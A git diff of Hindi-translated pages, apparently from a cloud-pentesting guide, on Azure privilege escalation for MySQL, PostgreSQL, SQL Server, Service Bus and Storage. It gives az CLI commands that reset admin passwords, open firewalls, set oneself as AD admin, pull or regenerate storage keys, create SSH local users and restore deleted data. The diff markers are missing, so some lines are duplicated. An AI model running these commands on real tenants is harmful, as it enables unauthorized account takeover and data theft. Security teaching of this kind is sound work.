### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वर की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन में संशोधन, या सर्वरों को बंद करना शामिल है।
{% code overflow="wrap" %}
```bash
az mysql flexible-server create \
--name <ServerName> \
@@ -27,32 +24,20 @@ az mysql flexible-server create \
--tier <PricingTier> \
--version <MySQLVersion>
```
{% endcode %}
उदाहरण के लिए, ये अनुमतियाँ MySQL पासवर्ड बदलने की अनुमति देती हैं, जो कि निश्चित रूप से तब उपयोगी होती हैं जब MySQL प्रमाणीकरण सक्षम हो।
{% code overflow="wrap" %}
```bash
az mysql flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
```
{% endcode %}
इसके अलावा, यदि आप किसी गैर-निजी एंडपॉइंट से एक्सेस करना चाहते हैं तो सार्वजनिक एक्सेस सक्षम होना आवश्यक है, इसे सक्षम करने के लिए:
{% code overflow="wrap" %}
```bash
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
इस अनुमति के साथ, आप MySQL फ्लेक्सिबल सर्वर के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका लाभ उठाया जा सकता है जब कोई स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करता है, जिससे MySQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्राप्त होता है। यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर के पास उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों।
{% code overflow="wrap" %}
इस अनुमति के साथ, आप MySQL फ्लेक्सिबल सर्वर के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करके किया जा सकता है, जो MySQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्रदान करता है। यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों।
```bash
az mysql flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -5,15 +5,13 @@
## PostgreSQL Privesc
SQL Database के बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="../az-services/az-postgresql.md" %}
{{#ref}}
[az-postgresql.md](../az-services/az-postgresql.md)
{% endcontent-ref %}
{{#endref}}
### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वर की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन में संशोध, या सर्वरों को बंद करना शामिल है।
{% code overflow="wrap" %}
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वरों की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन को संशोधित करना, या सर्वरों को बंद करना शामिल है।
```bash
az postgres flexible-server create \
--name <ServerName> \
@@ -26,34 +24,22 @@ az postgres flexible-server create \
--tier <PricingTier> \
--version <PostgreSQLVersion>
```
{% endcode %}
उदाहरण के लिए, ये अनुमतियाँ PostgreSQL पासवर्ड बदलने की अनुमति देती हैं, जो कि PostgreSQL प्रमाणीकरण सक्षम होने की स्थिति में उपयोगी है।
{% code overflow="wrap" %}
उदाहरण के लिए, ये अनुमतियाँ PostgreSQL पासवर्ड बदलने की अनुमति देती हैं, जो कि निश्चित रूप से तब उपयोगी है जब PostgreSQL प्रमाणीकरण सक्षम हो।
```bash
az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
```
{% endcode %}
इसके अलावा, यदि आप किसी गैर-निजी एंडपॉइंट से एक्सेस करना चाहते हैं तो सार्वजनिक एक्सेस सक्षम होना आवश्यक है, इसे सक्षम करने के लिए:
{% code overflow="wrap" %}
```bash
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
इस अनुमति के साथ, आप PostgreSQL Flexible Server के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग करके आप स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट कर सकते हैं, जिससे PostgreSQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्राप्त होता है। मौजूदा प्रमुख को अपडेट करना अभी समर्थित नहीं है, इसलिए यदि कोई बनाया गया है, तो आपको पहले उसे हटाना होगा।
इस अनुमति के साथ, आप PostgreSQL फ्लेक्सिबल सर्वर के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग करके आप स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट कर सकते हैं, जिससे PostgreSQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्राप्त होता है। मौजूदा प्रिंसिपल को अपडेट करना अभी समर्थित नहीं है, इसलिए यदि एक बनाया गया है, तो आपको पहले उसे हटाना होगा
यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों।
{% code overflow="wrap" %}
यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हो
```bash
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
@@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@
### संदेश भेजें। क्रिया: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` या `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
आप `PrimaryConnectionString` प्राप्त कर सकते हैं, जो Service Bus namespace के लिए एक क्रेडेंशियल के रूप में कार्य करता है। इस कनेक्शन स्ट्रिंग के साथ, आप Service Bus namespace के रूप में पूरी तरह से प्रमाणीकरण कर सकते हैं, जिससे आप किसी भी कतार या विषय में संदेश भेज सकते हैं और संभावित रूप से सिस्टम के साथ ऐसे तरीकों से इंटरैक्ट कर सकते हैं जो संचालन को बाधित कर सकते हैं, वैध उपयोगकर्ताओं का अनुकरण कर सकते हैं, या संदेश प्रवाह में दुर्भावनापूर्ण डेटा इंजेक्ट कर सकते हैं।
आप `PrimaryConnectionString` प्राप्त कर सकते हैं, जो Service Bus namespace के लिए एक क्रेडेंशियल के रूप में कार्य करता है। इस कनेक्शन स्ट्रिंग के साथ, आप Service Bus namespace के रूप में पूरी तरह से प्रमाणित हो सकते हैं, जिससे आप किसी भी कतार या विषय में संदेश भेज सकते हैं और संभावित रूप से सिस्टम के साथ ऐसे तरीकों से इंटरैक्ट कर सकते हैं जो संचालन को बाधित कर सकते हैं, वैध उपयोगकर्ताओं का अनुकरण कर सकते हैं, या संदेश प्रवाह में दुर्भावनापूर्ण डेटा इंजेक्ट कर सकते हैं।
```python
#You need to install the following libraries
#pip install azure-servicebus
@@ -127,9 +127,9 @@ asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
यदि आपके पास ये अनुमतियाँ हैं, तो आप साझा पहुँच कुंजी पढ़कर या बनाकर विशेषाधिकार बढ़ा सकते हैं। ये कुंजी Service Bus namespace पर पूर्ण नियंत्रण की अनुमति देती हैं, जिसमें कतारों, विषयों का प्रबंधन और संदेश भेजना/प्राप्त करना शामिल है, जो संभावित रूप से भूमिका-आधारित पहुँच नियंत्रण (RBAC) को बायपास कर सकत है
यदि आपके पास ये अनुमतियाँ हैं, तो आप साझा पहुँच कुंजी पढ़कर या बनाकर विशेषाधिकार बढ़ा सकते हैं। ये कुंजी Service Bus namespace पर पूर्ण नियंत्रण की अनुमति देती हैं, जिसमें कतारों, विषयों का प्रबंधन और संदेश भेजना/प्राप्त करना शामिल है, जो संभावित रूप से भूमिका-आधारित पहुँच नियंत्रण (RBAC) को बायपास कर सकत है।
```bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
@@ -137,7 +137,7 @@ az servicebus namespace authorization-rule update \
--name RootManageSharedAccessKey \
--rights Manage Listen Send
```
## संदर्भ
## References
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api

View File

@@ -10,9 +10,9 @@ SQL Database के बारे में अधिक जानकारी
../az-services/az-sql.md
{{#endref}}
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL सर्वरों को अपडेट या बनाकर विशेषाधिकार वृद्धि कर सकता है और महत्वपूर्ण कॉन्फ़िगरेशन, जिसमें प्रशासनिक क्रेडेंशियल शामिल हैं, को संशोधित कर सकता है। यह अनुमति उपयोगकर्ता को सर्वर गुणों को अपडेट करने की अनुमति देती है, जिसमें SQL सर्वर प्रशासनिक पासवर्ड शामिल है, जिससे अनधिकृत पहुंच या सर्वर पर नियंत्रण प्राप्त करना संभव होता है। वे नए सर्वर भी बना सकते हैं, जो दुर्भावनापूर्ण उद्देश्यों के लिए छायादार बुनियादी ढाँचा पेश कर सकते हैं। यह विशेष रूप से महत्वपूर्ण हो जाता है जब "Microsoft Entra Authentication Only" बंद होता है, क्योंकि वे SQL-आधारित प्रमाणीकरण का लाभ उठाकर बिना किसी प्रतिबंध के पहुंच प्राप्त कर सकते हैं।
इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL सर्वरों को अपडेट या बनाकर विशेषाधिकार वृद्धि कर सकता है और महत्वपूर्ण कॉन्फ़िगरेशन, जिसमें प्रशासनिक क्रेडेंशियल शामिल हैं, को संशोधित कर सकता है। यह अनुमति उपयोगकर्ता को सर्वर गुणों को अपडेट करने की अनुमति देती है, जिसमें SQL सर्वर प्रशासनिक पासवर्ड शामिल है, जिससे अनधिकृत पहुंच या सर्वर पर नियंत्रण प्राप्त करना संभव होता है। वे नए सर्वर भी बना सकते हैं, जो संभावित रूप से दुर्भावनापूर्ण उद्देश्यों के लिए छायादार बुनियादी ढाँचा पेश कर सकते हैं। यह विशेष रूप से महत्वपूर्ण हो जाता है जब "Microsoft Entra Authentication Only" बंद होता है, क्योंकि वे SQL-आधारित प्रमाणीकरण का लाभ उठाकर बिना किसी प्रतिबंध के पहुंच प्राप्त कर सकते हैं।
```bash
# Change the server password
az sql server update \
@@ -35,9 +35,9 @@ az sql server update \
--resource-group <resource-group> \
--enable-public-network true
```
### "Microsoft.Sql/servers/firewallRules/write"
### `Microsoft.Sql/servers/firewallRules/write`
एक हमलावर Azure SQL सर्वरों पर फ़ायरवॉल नियमों में हेरफेर कर सकता है ताकि अनधिकृत पहुँच की अनुमति मिल सके। इसका उपयोग विशिष्ट IP पते या पूरे IP रेंज, जिसमें सार्वजनिक IP शामिल हैं, के लिए सर्वर को खोलने के लिए किया जा सकता है, जिससे दुर्भावनापूर्ण तत्वों के लिए पहुँच सक्षम होती है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि मौजूदा नेटवर्क सुरक्षा नियंत्रणों को बायपास करने, स्थिरता स्थापित करने, या संवेदनशील संसाधनों को उजागर करके वातावरण के भीतर पार्श्व आंदोलन को सुविधाजनक बनाने के लिए उपयोग की जा सकती है।
एक हमलावर Azure SQL सर्वरों पर फ़ायरवॉल नियमों में हेरफेर कर सकता है ताकि अनधिकृत पहुँच की अनुमति मिल सके। इसका उपयोग विशिष्ट IP पते या पूरे IP रेंज, जिसमें सार्वजनिक IP शामिल हैं, क सर्वर पर खोलने के लिए किया जा सकता है, जिससे दुर्भावनापूर्ण अभिनेताओं के लिए पहुँच सक्षम होती है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि मौजूदा नेटवर्क सुरक्षा नियंत्रणों को बायपास करने, स्थिरता स्थापित करने, या संवेदनशील संसाधनों को उजागर करके वातावरण के भीतर पार्श्व आंदोलन को सुविधाजनक बनाने के लिए उपयोग की जा सकती है।
```bash
# Create Firewall Rule
az sql server firewall-rule create \
@@ -58,7 +58,7 @@ az sql server firewall-rule update \
इसके अलावा, `Microsoft.Sql/servers/outboundFirewallRules/delete` अनुमति आपको एक फ़ायरवॉल नियम को हटाने की अनुमति देती है।
नोट: सार्वजनिक पहुंच सक्षम होना आवश्यक है
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
### `Microsoft.Sql/servers/ipv6FirewallRules/write`
इस अनुमति के साथ, आप Azure SQL Server पर IPv6 फ़ायरवॉल नियम बना, संशोधित या हटा सकते हैं। यह एक हमलावर या अधिकृत उपयोगकर्ता को मौजूदा नेटवर्क सुरक्षा कॉन्फ़िगरेशन को बायपास करने और सर्वर तक अनधिकृत पहुंच प्राप्त करने में सक्षम बना सकता है। किसी भी IPv6 पते से ट्रैफ़िक की अनुमति देने वाला एक नियम जोड़कर, हमलावर सर्वर को बाहरी पहुंच के लिए खोल सकता है।
```bash
@@ -72,9 +72,9 @@ az sql server firewall-rule create \
अतिरिक्त रूप से, `Microsoft.Sql/servers/ipv6FirewallRules/delete` अनुमति आपको एक फ़ायरवॉल नियम को हटाने की अनुमति देती है।
नोट: सार्वजनिक पहुंच सक्षम होना आवश्यक है
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
इन अनुमतियों के साथ आप Azure SQL Server वातावरण में SQL डेटाबेस तक पहुंचकर महत्वपूर्ण जानकारी प्राप्त कर सकते हैं। नीचे दिए गए कमांड का उपयोग करके, एक हमलावर या अधिकृत उपयोगकर्ता खुद को या किसी अन्य खाते को Azure AD प्रशासक के रूप में सेट कर सकता है। यदि "Microsoft Entra Authentication Only" सक्षम है, तो आप सर्वर और इसके उदाहरणों तक पहुंच सकते हैं। यहाँ एक SQL सर्वर के लिए Azure AD प्रशासक सेट करने का कमांड है:
इन अनुमतियों के साथ आप Azure SQL Server वातावरण में SQL डेटाबेस तक पहुंचकर प्रिवेस्क कर सकते हैं और महत्वपूर्ण जानकारी प्राप्त कर सकते हैं। नीचे दिए गए कमांड का उपयोग करके, एक हमलावर या अधिकृत उपयोगकर्ता खुद को या किसी अन्य खाते को Azure AD प्रशासक के रूप में सेट कर सकता है। यदि "Microsoft Entra Authentication Only" सक्षम है, तो आप सर्वर और इसके उदाहरणों तक पहुंच सकते हैं। यहाँ SQL सर्वर के लिए Azure AD प्रशासक सेट करने का कमांड है:
```bash
az sql server ad-admin create \
--server <server_name> \
@@ -82,7 +82,7 @@ az sql server ad-admin create \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
```
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
इन अनुमतियों के साथ, आप Azure SQL Server पर "Microsoft Entra Authentication Only" को कॉन्फ़िगर और लागू कर सकते हैं, जो कुछ परिदृश्यों में विशेषाधिकार वृद्धि को सुविधाजनक बना सकता है। एक हमलावर या एक अधिकृत उपयोगकर्ता जिनके पास ये अनुमतियाँ हैं, Azure AD-केवल प्रमाणीकरण को सक्षम या अक्षम कर सकता है।
```bash

View File

@@ -10,13 +10,13 @@
../az-services/az-storage.md
{{#endref}}
### Microsoft.Storage/storageAccounts/listkeys/action
### `Microsoft.Storage/storageAccounts/listkeys/action`
इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों के **एक्सेस की** के (और गुप्त मानों) को सूचीबद्ध करने में सक्षम होगा। जिससे प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकारों को बढ़ाने की अनुमति मिलती है।
इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों के **एक्सेस की** के (और गुप्त मानों) को सूचीबद्ध करने में सक्षम होगा। जिससे प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकार बढ़ाने की अनुमति मिलती है।
```bash
az storage account keys list --account-name <acc-name>
```
### Microsoft.Storage/storageAccounts/regenerateKey/action
### `Microsoft.Storage/storageAccounts/regenerateKey/action`
इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों के **एक्सेस कीज़** के नए गुप्त मान को नवीनीकरण और प्राप्त करने में सक्षम होगा। यह प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकारों को बढ़ाने की अनुमति देता है।
@@ -24,9 +24,9 @@ az storage account keys list --account-name <acc-name>
```bash
az storage account keys renew --account-name <acc-name> --key key2
```
### Microsoft.Storage/storageAccounts/write
### `Microsoft.Storage/storageAccounts/write`
इस अनुमति के साथ एक प्रमुख मौजूदा स्टोरेज खाता बनाने या अपडेट करने में सक्षम होगा, किसी भी सेटिंग को अपडेट करते हुए जैसे नेटवर्क नियम या नीतियाँ।
इस अनुमति के साथ एक प्रिंसिपल एक मौजूदा स्टोरेज अकाउंट को बनाने या अपडेट करने में सक्षम होगा, किसी भी सेटिंग को अपडेट करते हुए जैसे नेटवर्क नियम या नीतियाँ।
```bash
# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow
@@ -36,7 +36,7 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
```
## Blobs Specific privesc
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`
पहली अनुमति **कंटेनरों में अम्यूटेबिलिटी नीतियों को संशोधित** करने की अनुमति देती है और दूसरी उन्हें हटाने की अनुमति देती है।
@@ -56,21 +56,21 @@ az storage container immutability-policy update \
```
## फ़ाइल शेयर विशेष प्रिवेस्क
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
यह एक उपयोगकर्ता को इस अनुमति के साथ साझा फ़ाइल सिस्टम के अंदर फ़ाइलों का स्वामित्व लेने की अनुमति देनी चाहिए।
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
यह एक उपयोगकर्ता को इस अनुमति के साथ साझा फ़ाइल सिस्टम के अंदर फ़ाइलों की अनुमतियों को संशोधित करने की अनुमति देनी चाहिए।
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
यह एक उपयोगकर्ता को इस अनुमति के साथ फ़ाइल सिस्टम के अंदर सुपरयूज़र के रूप में क्रियाएँ करने की अनुमति देनी चाहिए।
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
इस अनुमति के साथ, एक हमलावर एक नए स्थानीय उपयोगकर्ता को Azure Storage खाते (जो हायरार्किकल नेमस्पेस के साथ कॉन्फ़िगर किया गया है) के लिए बना और अपडेट कर सकता है (यदि उसके पास `Microsoft.Storage/storageAccounts/localusers/read` अनुमति है), जिसमें उपयोगकर्ता की अनुमतियाँ और होम डायरेक्टरी निर्दिष्ट करना शामिल है। यह अनुमति महत्वपूर्ण है क्योंकि यह हमलावर को विशिष्ट अनुमतियों जैसे पढ़ने (r), लिखने (w), हटाने (d), और सूची (l) के साथ एक स्टोरेज खाते को अपने लिए देने की अनुमति देती है। इसके अतिरिक्त, जो प्रमाणीकरण विधियाँ इसका उपयोग करती हैं, वे Azure-जनित पासवर्ड और SSH कुंजी जोड़े हो सकत हैं। यह जांच नहीं की जाती है कि क्या कोई उपयोगकर्ता पहले से मौजूद है, इसलिए आप पहले से मौजूद अन्य उपयोगकर्ताओं को ओवरराइट कर सकते हैं। हमलावर अपनी विशेषताओं को बढ़ा सकता है और स्टोरेज खाते तक SSH पहुंच प्राप्त कर सकता है, संभावित रूप से संवेदनशील डेटा को उजागर या समझौता कर सकता है।
इस अनुमति के साथ, एक हमलावर एक नए स्थानीय उपयोगकर्ता को Azure Storage खाते के लिए बना और अपडेट कर सकता है (यदि उसके पास `Microsoft.Storage/storageAccounts/localusers/read` अनुमति है), जिसमें उपयोगकर्ता की अनुमतियों और होम डायरेक्टरी को निर्दिष्ट करना शामिल है। यह अनुमति महत्वपूर्ण है क्योंकि यह हमलावर को विशिष्ट अनुमतियों जैसे पढ़ने (r), लिखने (w), हटाने (d), और सूची (l) के साथ एक स्टोरेज खाते को स्वयं को सौंपने की अनुमति देती है। इसके अतिरिक्त, जो प्रमाणीकरण विधियाँ इसका उपयोग करती हैं, वे Azure-जनित पासवर्ड और SSH कुंजी जोड़े हो सकत हैं। यह जांच नहीं की जाती है कि क्या उपयोगकर्ता पहले से मौजूद है, इसलिए आप पहले से मौजूद अन्य उपयोगकर्ताओं को ओवरराइट कर सकते हैं। हमलावर अपनी विशेषताओं को बढ़ा सकता है और स्टोरेज खाते तक SSH पहुंच प्राप्त कर सकता है, संभावित रूप से संवेदनशील डेटा को उजागर या समझौता कर सकता है।
```bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -80,23 +80,23 @@ az storage account local-user create \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use
```
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
इस अनुमति के साथ, एक हमलावर Azure Storage खाते में एक स्थानीय उपयोगकर्ता के लिए पासवर्ड को फिर से उत्पन्न कर सकता है। यह हमलावर को उपयोगकर्ता के लिए नए प्रमाणीकरण क्रेडेंशियल (जैसे SSH या SFTP पासवर्ड) प्राप्त करने की क्षमता प्रदान करता है। इन क्रेडेंशियल का लाभ उठाकर, हमलावर स्टोरेज खाते में अनधिकृत पहुंच प्राप्त कर सकता है, फ़ाइल ट्रांसफर कर सकता है, या स्टोरेज कंटेनरों के भीतर डेटा में हेरफेर कर सकता है। इससे डेटा लीक, भ्रष्टाचार, या स्टोरेज खाते की सामग्री में दुर्भावनापूर्ण संशोधन हो सकता है।
इस अनुमति के साथ, एक हमलावर Azure Storage खाते में एक स्थानीय उपयोगकर्ता के लिए पासवर्ड को फिर से उत्पन्न कर सकता है। यह हमलावर को उपयोगकर्ता के लिए नए प्रमाणीकरण क्रेडेंशियल (जैसे SSH या SFTP पासवर्ड) प्राप्त करने की क्षमता देता है। इन क्रेडेंशियल का लाभ उठाकर, हमलावर स्टोरेज खाते में अनधिकृत पहुंच प्राप्त कर सकता है, फ़ाइल ट्रांसफर कर सकता है, या स्टोरेज कंटेनरों के भीतर डेटा में हेरफेर कर सकता है। इससे डेटा लीक, भ्रष्टाचार, या स्टोरेज खाते की सामग्री में दुर्भावनापूर्ण संशोधन हो सकता है।
```bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME>
```
Azure Blob Storage क SFTP के माध्यम से एक्सेस करने के लिए (is_hns_enabled को true होना चाहिए) एक स्थानीय उपयोगकर्ता के माध्यम से SFTP का उपयोग करते हुए आप (आप कनेक्ट करने के लिए ssh कुंजी का भी उपयोग कर सकते हैं):
Azure Blob Storage क SFTP के माध्यम से पहुँचने के लिए (is_hns_enabled को सत्य होना चाहिए) एक स्थानीय उपयोगकर्ता के माध्यम से SFTP का उपयोग करते हुए आप (आप कनेक्ट करने के लिए ssh कुंजी का भी उपयोग कर सकते हैं):
```bash
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password
```
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
इन अनुमतियों के साथ, एक हमलावर एक हटाए गए कंटेनर को उसके हटाए गए संस्करण ID को निर्दिष्ट करके पुनर्स्थापित कर सकता है या एक कंटेनर के भीतर विशिष्ट ब्लॉब को पुनः प्राप्त कर सकता है, यदि उन्हें पहले सॉफ्ट-डिलीट किया गया। यह विशेषाधिकार वृद्धि एक हमलावर को संवेदनशील डेटा को पुनर्प्राप्त करने की अनुमति दे सकती है जिसे स्थायी रूप से हटाया जाना था, जो संभावित रूप से अनधिकृत पहुंच की ओर ले जा सकत है।
इन अनुमतियों के साथ, एक हमलावर एक हटाए गए कंटेनर को उसके हटाए गए संस्करण ID को निर्दिष्ट करके पुनर्स्थापित कर सकता है या एक कंटेनर के भीतर विशिष्ट ब्लॉब को अनहटाने कर सकता है, यदि वे पहले से सॉफ्ट-डिलीट किए गए। यह विशेषाधिकार वृद्धि एक हमलावर को संवेदनशील डेटा को पुनर्प्राप्त करने की अनुमति दे सकती है जिसे स्थायी रूप से हटाया जाना था, संभावित रूप से अनधिकृत पहुंच की ओर ले जा सकत है।
```bash
#Restore the soft deleted container
az storage container restore \
@@ -110,7 +110,7 @@ az storage blob undelete \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"
```
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
इन अनुमतियों के साथ, एक हमलावर एक हटाए गए Azure फ़ाइल शेयर को उसके हटाए गए संस्करण ID को निर्दिष्ट करके पुनर्स्थापित कर सकता है। यह विशेषाधिकार वृद्धि एक हमलावर को संवेदनशील डेटा को पुनर्प्राप्त करने की अनुमति दे सकती है जिसे स्थायी रूप से हटाया जाना था, जो संभावित रूप से अनधिकृत पहुंच की ओर ले जा सकता है।
```bash